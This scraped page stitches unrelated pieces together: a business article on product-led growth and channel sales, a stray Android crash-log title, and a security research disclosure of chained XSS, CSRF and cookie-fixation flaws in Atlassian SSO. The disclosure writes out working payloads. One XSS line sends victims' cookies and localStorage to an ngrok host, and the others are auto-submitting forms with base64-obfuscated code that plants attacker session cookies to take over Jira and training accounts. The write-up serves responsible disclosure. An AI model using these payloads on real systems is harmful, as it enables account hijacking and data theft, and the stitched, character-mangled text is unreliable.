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Revenue is the lifeblood of any business. The harsh reality is that no matter how innovative your product, how illustrious your investors are, or how astronomical your market valuation is, your business won't survive without the ability to generate income. Sales, the vital engine that drives revenue, is an art often overlooked in the entrepreneurial journey. And in the increasingly competitive marketplace, making those crucial sales is becoming a herculean task. My name is Wilson Huang, and as the person overseeing the go-to-market (GTM) at , I've learned some hard-hitting truths and practical strategies about sales that can make or break a business. I will share the first two GTM motions, combined with the lessons I learned from MIT Sloan in this article. ATMOSIScience You've probably heard the saying, "There are no bad products, only bad sales reps." However, in the cutthroat world of business, having a stellar product that has reached product-market fit is only half the battle. The real challenge is selling it. According to , the inability to sell is the number one reason businesses fail. CB Insights Let's take a look at the marketing industry as an example. In 2011, there were . 150 players Fast forward to 2020, and that number has skyrocketed by to a staggering . That's 8,000 companies all vying for the attention and wallets of the same customer base. 5,233% 8,000 Interestingly, LinkedIn data shows that a career in sales is the most common path to the CEO role. This isn't surprising when you consider the three primary responsibilities of an early-stage CEO: pitching the mission to potential co-founders, pitching the company to investors, and selling the product to customers. While there's no shortage of resources for pitching to co-founders and investors, practical sales advice is rare. That's why, in this series, I'll share the most common B2B GTM strategies that any company, regardless of size or industry, can use to boost revenue and establish a sales motion. Let's uncover the secrets of successful GTM strategies. startup four repeatable Product-Led-Growth (PLG) is a customer-centric go-to-market strategy that uses the product as the primary driver of customer acquisition, conversion, and expansion. It promotes a culture of end-user obsession, data-driven decisions, and continuous experimentation. Product-Led Growth (PLG) When PLG Works Best: The product addresses a universal problem, easy to understand and use. Users can influence the buying process and have an incentive to invite others. Low Customer Acquisition Cost (CAC) due to virality. Low marginal cost per user. For freemium models, a clear value proposition exists to convert users into paying customers. PLG Complexity: The product's user experience is self-serving, ideally with a freemium or free-trial offer. The product delivers value out of the box, facilitating short sales cycles. End-users can make an initial purchase with their credit card, creating an opportunity for upselling. Two Manifestations of PLG: The product generates leads via viral or network effects. Marketing generates leads, with the product driving them to become Product Qualified Leads(PQL), and potentially even into the customer and expansion stages. Key Considerations for PLG: Prioritize virality, network effects, and community-building. Demonstrate clear value and reduce friction. Focus on retention and engagement. Seamlessly transition from product use and expansion to monetization. Paywalls should follow the actual value that the user receives, with pricing scaling as usage increases. Examples: Calendly Zoom Slack Dropbox 2. Channel Sales Channel Sales is a go-to-market strategy that involves selling through third-party intermediaries, often offering added value through integration and distribution. Channel Sales Effectiveness: Channel Sales can leverage other ecosystems to accelerate growth, compared to a closed go-to-market strategy. Partnerships can contribute to high-growth businesses, generating more revenue than paid search. ( ) Wolfgang Digital Businesses use partnerships to acquire new customers (57%) and to foster innovation (44%). ( ) BPI Network By 2025, nearly a third of global sales is expected to come from ecosystems. ( ) McKinsey & Company Using Partners to Leverage "Other People’s": Other People’s Product or Service: Building new solutions by integrating your product with a partner's. Other People’s Marketing: Gaining new or wider distribution through a partner's marketing efforts. Other People’s Sales: Acquiring customers through a partner doing the selling for you. Types of Partners/Channels: Influencer (Lead Gen) Affinity/Affiliate Partners Referral Advocates/Influencers Agencies Marketplaces Distributors Resellers / Value-added- Resellers Retailers Agents Dealers OEM Tech Integrations Consultants Integrators Managed Service Providers Pros/Cons: Influencer/lead gen partners can open the top of the funnel and influence brand recognition relatively inexpensively. However, they may reduce lead conversion efficiency and raise customer "ownership" questions. Sell-through partners provide access to buyers and can fast-track market entry but require careful management. Retention/Growth partners expand solution sets for customers and drive stickiness, but there may be some loss of control over the customer experience. Strategic Partnerships: These are broad, multi-department agreements aligning the strategic efforts of two or more companies with overlapping products or markets. These partnerships often cover Lead Gen, Selling, and Retention/Growth, and can lay the groundwork for acquisitions. Key Takeaways for Channel Sales: Approximately companies leverage partnerships. 80% of B2B Partners can boost your entire go-to-market engine. Start with your area of greatest need. Experiment - partners provide a low-cost way to try something new. Partnerships require effort-success isn't free. : Examples Toast Salesforce ATMOSIScience Microsoft Apple According to the 2016 State of Partnering Study by Partnerpath, a partner values: Mutual trust, respect, and a collaborative relationship A dependable and consistent product A sound and viable business proposition Excellent technical support, both before and after a sale Brand visibility and efficient lead generation Active and meaningful communication, not just data sharing Final Thoughts In conclusion, the go-to-market strategies we've explored - and - offer unique advantages and considerations. A business's choice of GTM strategy depends on its unique context: its product, target customer, and market landscape. Both strategies require a strong focus on delivering value to the customer, whether that be through a superior product experience or through strategic partnerships that expand the product's reach and capabilities. Product-Led Growth Channel Sales In the next part of this series, we will delve deeper into two other key go-to-market strategies that can help drive business growth. Stay tuned as we continue to unravel the secrets of successful sales motions and the art of winning the marketplace!

Mastering the Moves: A Comprehensive Study on 4 Go-To-Market Strategies (Part I)

Can We Make Sense of Android Crash Logs? Let’s Find Out

Research By: Dikla Barda, Yaara Shriki, Roman Zaikin and Oded Vanunu Background With more than 180,000 customers globally, and millions of users, the Australian 2002 founded company “Atlassian” develops products for software developers, project managers and other software related teams that use the platform for data collaboration and information sharing. While workforces globally turned to remote work as a result of the outbreak of COVID-19, tools such as the ones offered by Atlassian became more popular and critical for teams while the need for a seamless transition to a new work mode became a global necessity. Atlassian, referring to this as “The Rise of Work Anywhere”, conducted about the nature of remote work during the Pandemic. The study surveyed more than 5,000 participants in Australia, France, Germany, Japan, and the US, and shows how the nuances of modern work have been amplified, demanding a shift in the way organizations manage an increasingly distributed workforce. research Breaking on through the Platform On November 16, 2020 Check Point Research (CPR) uncovered chained vulnerabilities that together can be used to take over an account and control some of Atlassian apps connected through SSO, Some of the affected domains are: jira.atlassian.com confluence.atlassian.com getsupport.atlassian.com partners.atlassian.com developer.atlassian.com support.atlassian.com training.atlassian.com What makes a supply chain attack such as this one so significant is the fact that once the attacker leverages these vulnerabilities and takes over an account, he can plant backdoors that he can use in the future for his attack. This can create a severe damage which will be identified and controlled only much after the damage is done. Check Point Research responsibly disclosed this information to the Atlassian teams which and a solution was deployed to ensure its users can safely continue to share info on the various platforms Deep Dive Atlassian uses SSO (Single Sign-On) to navigate between Atlassian products such as JIRA, Confluence and Partners. Atlassian implements various web security measures such as CSP, SameSite “Strict” cookies and HttpOnly cookies. We had to bypass these security methods using a combination of several attack techniques. Overall we were able to achieve Full Account Take-Over. First, we had to find a way to inject code into Atlassian – which we used the XSS and CSRF for. Then, using this code injection, we were able to add a new session cookie to the user’s account, and by combining the session fixation vulnerability in Atlassian domains, we were able to take over accounts. Let us dive in into the first bug we found: XSS The first security issue was found on the subdomain . The Training platform offers users courses or credits. We noticed that the Content Security Policy (CSP) was configured poorly on this subdomain with ‘unsafe-inline’ and ‘unsafe-eval’ directives which allows script execution. This makes this subdomain a perfect starting point for our research training.atlassian.com We examined the request parameters when adding courses and credits to the shopping cart. We found that when the item type is “ ”, an additional parameter called “ ” is added to request. This parameter was found vulnerable to XSS. training_credit options._training_credit_account Let’s test a simple payload to receive all of the user’s cookies and local storage: "><svg/onload="window.location.href=`//7a4389292a5d.ngrok.io?l=${JSON.stringify(localStorage)}&c=${document.cookie}`"> It works! And we received all the cookies and the local storage of the target: CSRF Since the Stored XSS can only be run when adding items to the shopping cart, we needed to make the user add a malicious item without their notice. Then, because there is no CSRF token we could perform CSRF attack on the shopping list and execute our payload. In order to achieve that, we uploaded the following POC to our servers and sent it to the victim: <html>

  <head></head>

  <body onload=”document.forms[0].submit()”>

    <form method=”post” action=”https://training.atlassian.com/cart”>

        <input type=”hidden” name=”itemType” value=’training_credit’>

        <input type=”hidden” name=”itemId” value=’1′>

        <input type=”hidden” name=”options._quantity” value=’10’>

        <input type=”hidden” name=”options._training_credit_account” value=''> 
        <svg/onload=”window.location.href=`//7a4389292a5d.ngrok.io?l=${JSON.stringify(localStorage)}&c=${document.cookie}`”>’>

        <input type=”hidden” name=”action” value=’add’>

    </form>

  </body>

</html> However, some of the cookies related to the session of the victim are set to SameSite “Strict” which means the browser prevents them from being sent to the backend. Surprisingly, we found that during the SSO process those missing cookies are completed by the backend which will essentially bypass the SameSite “Strict” for us. SameSite “Strict” Bypass We will now describe the SSO flow. We start with the XSS payload from our origin : https://7a4389292a5d.ngrok.io During the SSO flow, the user gets redirected several times to different paths, such as: /auth/cart ,login.html, etc. Throughout the redirect process, the user goes through the authentication process, which adds the missing cookies that we needed and were protected by SameSite. Because our payload was Stored XSS it was stored in the database and was added to the Shopping List. Here we can see that the payload was injected successfully into the page: And the malicious item was added to the shopping cart: At this step we bypassed SameSite “Strict” for CSRF and CSP with inline JavaScript. However, the more interesting cookie is which is protected by “ ” and we can’t hijack it via JavaScript. JSESSIONID HttpOnly At this point we can perform actions on behalf of the user but not login to his account. We dived in further into the SSO flow in order to find another flaw in the process. HTTPOnly Bypass and Cookie Fixation What is cookie fixation? Cookie Fixation is when an attacker can remotely force the user to use a session cookie known to him, which becomes authenticated. Initially, when the user browses to the login page, the server generates a new session cookie with ‘path=/’ flag. That cookie isn’t associated with any account and only after the user passes the authentication process that same cookie will be associated to his account. We knew that using the XSS we couldn’t get the user’s session cookie, since it was protected by HTTPOnly flag. Instead, we could create a new forged one. The newly created JSESSION cookie has the same flags as the original, with one major change – the path flag. The original path flag is set to the root directory. We were wondering what would happen if we change it to a more a particular path. It turns out that our path will have priority since it is more specific and will be used instead of the original. We changed the path to the exact directive we know the user will get redirected to after authentication which causes the backend to authorize our cookie over the original one. By using cookie fixation, we bypassed the HTTPOnly and hijacked the user’s Atlassian account. We will demonstrate that on the following subdomains: Training.atlassian.com We started by navigating to the URL from a clean browser without any cache to get a new clean cookie. training.atlassian.com JSESSIONID Now, we have a JSESSIONID without any information in it at the backend. If we will send a request to the user profile page we will be redirected to the login page. We will now perform a Cookie Fixation on the target which will force him to use the forged Cookie by using the following steps: We start by modifying our payload and adding the following cookie: document.cookie = "JSESSIONID= 5B09C73BF13FE923A2E5B4EE0DAD30E3; 
Domain=training.atlassian.com; Path=
/auth0; Secure” Note that the original HttpOnly cookie was set for the path “/”, but the new cookie we are setting in the payload is for the path “/auth0”. Browsing to /auth0, there are 2 cookies: the real one and ours. Ours will “win” in this case because it’s more specific. We will use the following redirect to trigger the Auth with this cookie instead of the real one. The interesting parameter here is the which will force the authentication for : “redirect_uri=https://training.atlassian.com/auth0” training.atlassian.com location.href="https://atlassianuni-learndot.auth0.com/authorize? redirect_uri=https://training.atlassian.com/auth 0&client_id=O7FdHY647VvbCTphBGmvfBt2GdgnH7MR&audience=https%3A%2F%2Fatlassianuni-learndot.auth0.com%2Fuserinfo&scope=openid%20profile%20email&response_type=code&state=HxElpPySsrRuKcYbFOlp9QkLZQ7kwDOemX7Dc-5dnlk" This auth request will associate our cookie to the target account. So now that we can control the , we combined all of this steps and crafted the following payload: JSESSIONID <html>

  <head></head>

  <body onload=”document.forms[0].submit()”>

    <form method=”post” action=”https://training.atlassian.com/cart”>

        <input type=”hidden” name=”itemType” value=’training_credit’>

        <input type=”hidden” name=”itemId” value=’1′>

        <input type=”hidden” name=”options._quantity” value=’10’>

        <input type=”hidden” name=”options._training_credit_account” value=''>
        <svg/onload=”eval(atob`ZG9jdW1lbnQuY29va2llPSJKU0VTU0lPTklEPTVCMDlDNzNCRjEzRkU5MjNBMkU1QjRFRTBEQUQzMEUzOyBEb21haW49dHJhaW5pbmcuYXRsYXNzaWFuLmNvbTsgUGF0aD0vYXV0aDA7IFNlY3VyZSI7IHNldFRpbWVvdXQoZnVuY3Rpb24oKXsgbG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9hdGxhc3NpYW51bmktbGVhcm5kb3QuYXV0aDAuY29tL2F1dGhvcml6ZT9yZWRpcmVjdF91cmk9aHR0cHM6Ly90cmFpbmluZy5hdGxhc3NpYW4uY29tL2F1dGgwJmNsaWVudF9pZD1PN0ZkSFk2NDdWdmJDVHBoQkdtdmZCdDJHZGduSDdNUiZhdWRpZW5jZT1odHRwcyUzQSUyRiUyRmF0bGFzc2lhbnVuaS1sZWFybmRvdC5hdXRoMC5jb20lMkZ1c2VyaW5mbyZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwZW1haWwmcmVzcG9uc2VfdHlwZT1jb2RlJnN0YXRlPUh4RWxwUHlTc3JSdUtjWWJGT2xwOVFrTFpRN2t3RE9lbVg3RGMtNWRubGsiIH0sMzAwMCk7`)”>’>

        <input type=”hidden” name=”action” value=’add’>

    </form>

  </body>

</html>
<!–

// Payload  Explain
btoa(‘    document.cookie=”JSESSIONID=5B09C73BF13FE923A2E5B4EE0DAD30E3; 
Domain=training.atlassian.com; Path=/auth0; Secure”; setTimeout(function()
{ location.href=”https://atlassianuni-learndot.auth0.com/authorize?redirect_uri=
https://training.atlassian.com/auth0&client_id=O7FdHY647VvbCTphBGmvfBt2GdgnH7MR&
audience=https%3A%2F%2Fatlassianuni-learndot.auth0.com%2Fuserinfo&scope=openid%20profile
%20email&response_type=code&state=HxElpPySsrRuKcYbFOlp9QkLZQ7kwDOemX7Dc-5dnlk” },3000);     ‘)

–> The Cookie Fixation combined with the XSS and CSRF bugs allowed us to perform full Account Take-Over on Atlassian Training Platform. With the same flow and Cookie Fixation we can navigate to other Atlassian products, for example, jira.atlassian.com. Jira.atlassian.com To hijack Jira accounts with the same flow, we first need to create a session cookie to perform Cookie Fixation. We log in to and take the following cookies: jira.atlassian.com JSESSIONID AWSALB In order to use these cookies for the Cookie Fixation the attacker needs to sign-out from his account to get clean JSESSIONID. We can verify that the cookie is not associated with any account anymore by sending a request to ViewProfile: Next, we will modify our payload, we will perform the same method as we did in training.atlassian.com: document.cookie=”JSESSIONID=1672885C3F5E4819DD4EF0BF749E56C9; Domain=.atlassian.com; Path=/plugins; Secure;” document.cookie=”AWSALB=iAv6VKT5tbu/HFJVuu/dTE7R80wQXNjR+0opVbccE0zIadORJVGMZxCUcTIglL3OZ/A54eu/NDNLP5I3zE+WcgGWDHpv17SexjFBc1WYA9moC4wEmPooEE/Uqoo2; Domain=.atlassian.com; Path=/plugins/; Secure;” Note that the original HTTPOnly cookie was set for the path “/”, but the new cookie we are setting is for the path “/plugins”. Browsing to /auth0, there are 2 cookies: the real one and ours. Ours will “win” in this case because it’s a path cookie. We will use the following redirect to trigger the Auth with this cookie instead of the real one. The interesting parameter here is the “redirect_uri=https://jira.atlassian.com/plugins” which will force the authentication for jira.atlassian.com and redirect us to /plugins. . This auth request will associate our cookie to the target account. location.href=”https://auth.atlassian.com/authorize?redirect_uri=https://jira.atlassian.com/plugins/servlet/authentication/auth_plugin_original_url%3Dhttps%253A%252F%252Fjira.atlassian.com%252F&client_id=QxUVh9tTugoLC5cgY3Vjkz3h1jPSvG9p&scope=openid+email+profile&state=4118f57f-a9d9-4f6d-a1d5-add939762f23&response_type=code&prompt=none” As can be seen in the following request, the cookie is now assosiated to the target user (“John Doe” in this case). So now that we can control the , we combined all of this steps and crafted the following payload: JSESSIONID <html>

<head></head>

<body onload=”document.forms[0].submit()”>

<form method=”post” action=”https://training.atlassian.com/cart”>

<input type=”hidden” name=”itemType” value=’training_credit’>

<input type=”hidden” name=”itemId” value=’1′>

<input type=”hidden” name=”options._quantity” value=’10’>

<input type=”hidden” name=”options._training_credit_account” value='”><svg/onload=”eval(atob`ZG9jdW1lbnQuY29va2llPSJKU0VTU0lPTklEPTE2NzI4ODVDM0Y1RTQ4MTlERDRFRjBCRjc0OUU1NkM5OyBEb21haW49LmF0bGFzc2lhbi5jb207IFBhdGg9L3BsdWdpbnM7IFNlY3VyZTsiOyAgZG9jdW1lbnQuY29va2llPSJBV1NBTEI9aUF2NlZLVDV0YnUvSEZKVnV1L2RURTdSODB3UVhOalIrMG9wVmJjY0UweklhZE9SSlZHTVp4Q1VjVElnbEwzT1ovQTU0ZXUvTkROTFA1STN6RStXY2dHV0RIcHYxN1NleGpGQmMxV1lBOW1vQzR3RW1Qb29FRS9VcW9vMjsgRG9tYWluPS5hdGxhc3NpYW4uY29tOyBQYXRoPS9wbHVnaW5zLzsgU2VjdXJlOyI7ICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7IGxvY2F0aW9uLmhyZWY9Imh0dHBzOi8vYXV0aC5hdGxhc3NpYW4uY29tL2F1dGhvcml6ZT9yZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZqaXJhLmF0bGFzc2lhbi5jb20lMkZwbHVnaW5zJTJGc2VydmxldCUyRmF1dGhlbnRpY2F0aW9uJTNGYXV0aF9wbHVnaW5fb3JpZ2luYWxfdXJsJTNEaHR0cHMlMjUzQSUyNTJGJTI1MkZqaXJhLmF0bGFzc2lhbi5jb20lMjUyRiZjbGllbnRfaWQ9UXhVVmg5dFR1Z29MQzVjZ1kzVmprejNoMWpQU3ZHOXAmc2NvcGU9b3BlbmlkK2VtYWlsK3Byb2ZpbGUmc3RhdGU9NDExOGY1N2YtYTlkOS00ZjZkLWExZDUtYWRkOTM5NzYyZjIzJnJlc3BvbnNlX3R5cGU9Y29kZSZwcm9tcHQ9bm9uZSIgfSwzMDAwKTs=`);”>’>

<input type=”hidden” name=”action” value=’add’>

</form>

</body>

</html>

<!–
// Payload

btoa(‘

document.cookie=”JSESSIONID=1672885C3F5E4819DD4EF0BF749E56C9; Domain=.atlassian.com; Path=/plugins; Secure;”;

document.cookie=”AWSALB=iAv6VKT5tbu/HFJVuu/dTE7R80wQXNjR+0opVbccE0zIadORJVGMZxCUcTIglL3OZ/A54eu/NDNLP5I3zE+WcgGWDHpv17SexjFBc1WYA9moC4wEmPooEE/Uqoo2; Domain=.atlassian.com; Path=/plugins/; Secure;”;

setTimeout(function(){

location.href=”https://auth.atlassian.com/authorize?redirect_uri=https%3A%2F%2Fjira.atlassian.com%2Fplugins%2Fservlet%2Fauthentication%3Fauth_plugin_original_url%3Dhttps%253A%252F%252Fjira.atlassian.com%252F&client_id=QxUVh9tTugoLC5cgY3Vjkz3h1jPSvG9p&scope=openid+email+profile&state=4118f57f-a9d9-4f6d-a1d5-add939762f23&response_type=code&prompt=none”

},3000);

‘);
–> The Cookie Fixation combined with the XSS and CSRF bugs from allowed us to perform full Account Take-Over on training.atlassian.com Jira.atlassian.com Bitbucket Another direction we looked into was checking if we could inject malicious code to an Organization’s Bitbucket. Bitbucket is a Git-based source code repository hosting service owned by Atlassian and has more than 10 million users. Accessing a company’s Bitbucket repositories could allow attackers to access and change source code, make it public or even plant backdoors. With a Jira account at our hands, we have a few ways to obtain Bitbucket account. One option is by opening a Jira ticket with malicious link to an attacker controlled website. An automatic mail will be sent from Atlassian domain to the user once the ticket is created on Jira systems. An attacker can take advantage of that and include in the ticket a link to a malicious website that steals the user’s credentials. Conclusion By using the XSS with CSRF that we found on combined with the method of Cookie fixation we were able to take over any Atlassian account, in just one click, on every subdomain under atlassian.com that doesn’t use JWT for the session and that is vulnerable to session fixation . For example: training.atlassian.com, jira.atlassian.com, developer.atlassian.com and more. training.atlassian.com Taking over an account in such a collaborative platform means an ability to take over data that is not meant for unauthorized view. Check Point Research responsibly disclosed this information to the Atlassian teams which and a solution was deployed to ensure its users can safely continue to share info on the various platforms. You can have a look at . the POC video here

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